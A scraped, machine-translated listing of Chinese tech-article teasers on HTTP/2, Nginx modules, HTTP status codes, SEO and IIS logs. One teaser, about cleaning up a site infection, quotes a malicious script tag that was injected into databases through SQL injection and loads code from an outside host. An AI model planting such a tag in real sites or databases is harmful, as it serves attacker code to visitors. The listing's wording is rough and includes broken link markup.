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The HTTP protocol's first update in 16 years HTTP/2 officially finalized today

Absrtact: According to TNW, IFTF HTTP Workgroup Chairman Mark Nottingham's blog message, the World Wide Web (WWW) Foundation Protocol HTTP 2, the first major upgrade in 16 years, was formally finalized today, and the RFC Editor has been submitted to begin the overall standardization of work. As the WWW Foundation Agreement TNW Quotes IFTF HTTP Workgroup Chairman Mark Nottingham's blog message that the World Wide Web (WWW) Foundation protocol HTTP first significant upgrade in 16 years ...

Nginx Module Reference manual: HTTP Limit Requests module (http Limit Requests)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. This module allows you to limit the number of requests for a specified session or special case. Example configures HTTP {limit_req_zone $binary _remote_addr zone=one:10m rate=1r/s ... location/search/{limit_req zone=o ...

Nginx Module Reference manual: HTTP Header Processing module (HTTP Headers)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. &http://www.aliyun.com/zixun/aggregation/37954.html ">nbsp; This module allows you to set any HTTP headers. The following example: Expires 24h; Expires flushes +24h; Expires @15h30m; Expires 0 ...

Nginx Module Reference manual: HTTP addition Module (http addition)

If you want to use these modules, you must specify the relevant compilation parameters at compile time. This module can add other location before or after the current location. It executes as an output filter, and the primary and child requests contained in other location are not fully buffered and are still passed to the client as a stream, because the length of the final answer body is unknown at the time the HTTP header is passed, and the HTTP chunked encoding is always used here. Installation By default this module is not compiled, if you want to use ...

Nginx Module Reference manual: HTTP Limit Zone module (http Limit Zone)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. This module can limit the number of simultaneous connections for a session specified by an address, or some special cases, as in the following example: http {limit_zone one $binary _remote_addr 10m; server {location/download/{limit_ Conn one 1; The instruction Limit_zone syntax ...

Nginx Module Reference manual: HTTP Directory Inventory Generation module (HTTP Auto Index)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. This module provides an automatic directory listing. The connection request requests this module only if the master file is not found in the ngx_http_index_module. The following example: Location/{autoindex on;} directive autoindex syntax: AutoIndex [On|off] Default: AutoIndex off use ...

Nginx Module Reference manual: HTTP Basic Authentication Module (HTTP Auth Basic)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. This module provides authentication based on user name and password to protect part of your site or site. The following example: Location/{auth_basic "restricted"; auth_basic_user_file conf/htpasswd;} directive auth_basic syntax: Auth_basic [Tex ...

Nginx Module Reference manual: HTTP Referer module (HTTP Referer)

These modules are all compiled into Nginx by default unless a module is manually specified to be excluded in configure. When a request header's http://www.aliyun.com/zixun/aggregation/16918.html ">referer field contains some incorrect fields, this module can prevent this request from accessing the site." This head can be arbitrarily forged, therefore, the use of this module is not 100% to prevent these requests, the vast majority of rejected requests from some code ...

SEO Optimization tips: HTTP status Code Detailed introduction

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest Cloud host Technology Hall HTTP status code?" What's the use of HTTP status codes? How to handle HTTP status codes can be more friendly with search engines? What's the best way to optimize your website? How is the HTTP status code monitored? These are many beginners SEO optimization in this industry often ask the question, below we do ...

HTTP status Code 2XX, 3XX, 4XX, 5XX analysis

Intermediary transaction SEO diagnosis Taobao guest Cloud host technology lobby return an HTTP status code is the state of the server that is displayed on your site in response to a request, for example: • When a user accesses a Web page in a browser. • When the search engine spider crawls the page. HTTP status codes are five different categories: 1XX temporary/Information response 2XX succeeded 3XX redirect 4XX client/Request Error ...

Sharing the meaning of the HTTP status

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall when a user is on a server that is asking for Internet Information Services (IIS), When the IIS server responds to the request, it automatically returns a numeric code representing the status of the request, providing status information about the requested request. Also when the search engine spiders in the process of crawling, the server will also be related to the htt ...

SEO Literacy HTTP status code

Intermediary trading http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall as an SEO, often see the web site log, the site log has a lot of code, often see 200, 404, 503 And so on, these numbers are the HTTP status code. such as 61.135.166.232--[31/dec/2007:02:30: ...

HTTPS introduction and differences from HTTP

Absrtact: August 7 google on its official blog announced that they will https into its search algorithm mechanism, the use of HTTPS security certification of the site will be Google to give more trust, which is conducive to the site in the Google search results ranking upgrade. But on August 7, Google on its official blog announced that they will https into its search algorithm mechanism, the use of HTTPS security certification site will be more trust by Google, which is conducive to the site in Google's search results ranking upgrade. But at present htt ...

Lightweight HTTP Server Nginx: module and Working principle

Wind Network (ithov.com) original article: Nginx by the kernel and modules, in which the design of the kernel is very small and concise, the completion of the work is very simple, only through the lookup configuration file to map client requests to a location Block (location is an instruction in the Nginx configuration for URL matching), and each instruction configured in this location will start a different module to do the work accordingly. The Nginx module is divided into Core module, basic module and third party model.

Description of the IIS www logging field and the HTTP status code

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall in general, many friends do not care about IIS logs, or because the purchase of a virtual host does not provide, Some are provided, but you must also contact your server administrator to get it. Like the new network part of the server FTP directory has this file, but it is not permission to view and do not have permission to download, but also have to give them ...

Fast and efficient analysis of IBM HTTP server logs using the awk command

IBM HTTP Server is a multifunctional Web server developed on top of the http://www.aliyun.com/zixun/aggregation/14417.html ">apache Web server." IBM HTTP Server extends Apache functionality and introduces features that Apache does not. For example, you can use the IBM fast response cache accelerator, and more convenient ...

Shark: A brief talk on log syntax and HTTP status codes

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html ">seo diagnose Taobao guest cloud host technology Hall in the process of SEO to view the IIS log is a very important thing, Especially when the page made a larger change, through the log detection, you can find a lot of interesting questions. Now the space provides the function of the log query, and the log is generally stored in the root directory of the site log, Wwwlog, Logfil ...

Enable gzip compression on IIS (HTTP compression)

I. Summary this article summarizes how to enable gzip compression for Web sites that are hosted by IIS, thereby reducing the network transmission size of web pages and increasing the speed at which users display pages. Two. Foreword. The knowledge of this paper is from the Internet collection and collation, mainly from the Chinese wiki. When you use YSlow to detect which optimizations are enabled on your Web site, gzip is a critical item, and starting GIP compression will immediately reduce the network transmission size of the page. Three. HTTP Compression overview HTTP compression is a way to transfer compressed text content between Web servers and browsers. H ...

Solution of <script src="http://cn.daxia123.cn.js"> virus</script>

Intermediary transaction http://www.aliyun.com/zixun/aggregation/6858.html "&gt;seo diagnose Taobao guest cloud host Technology Hall recently, there is a virus through SQL vulnerabilities, directly to the database table injection <script src="http://cn.daxia123.cn.js">, even now, there are thousands of websites that have not been solved? My station a few days ago and everyone else, poisoned, ...</script>

Wolf Software HTTP Ping Class 1.1.0 publish a ping script

Wolf Software HTTP Ping class is a simple script for pinging a Web site. This script is one of several classes in the Wolftrack http://www.aliyun.com/zixun/aggregation/23104.html "&gt; Monitoring System. Wolf Software HTTP Ping Class 1.1.0 This version adds better error messages, configuration ports, and SSL processing capabilities. Software...

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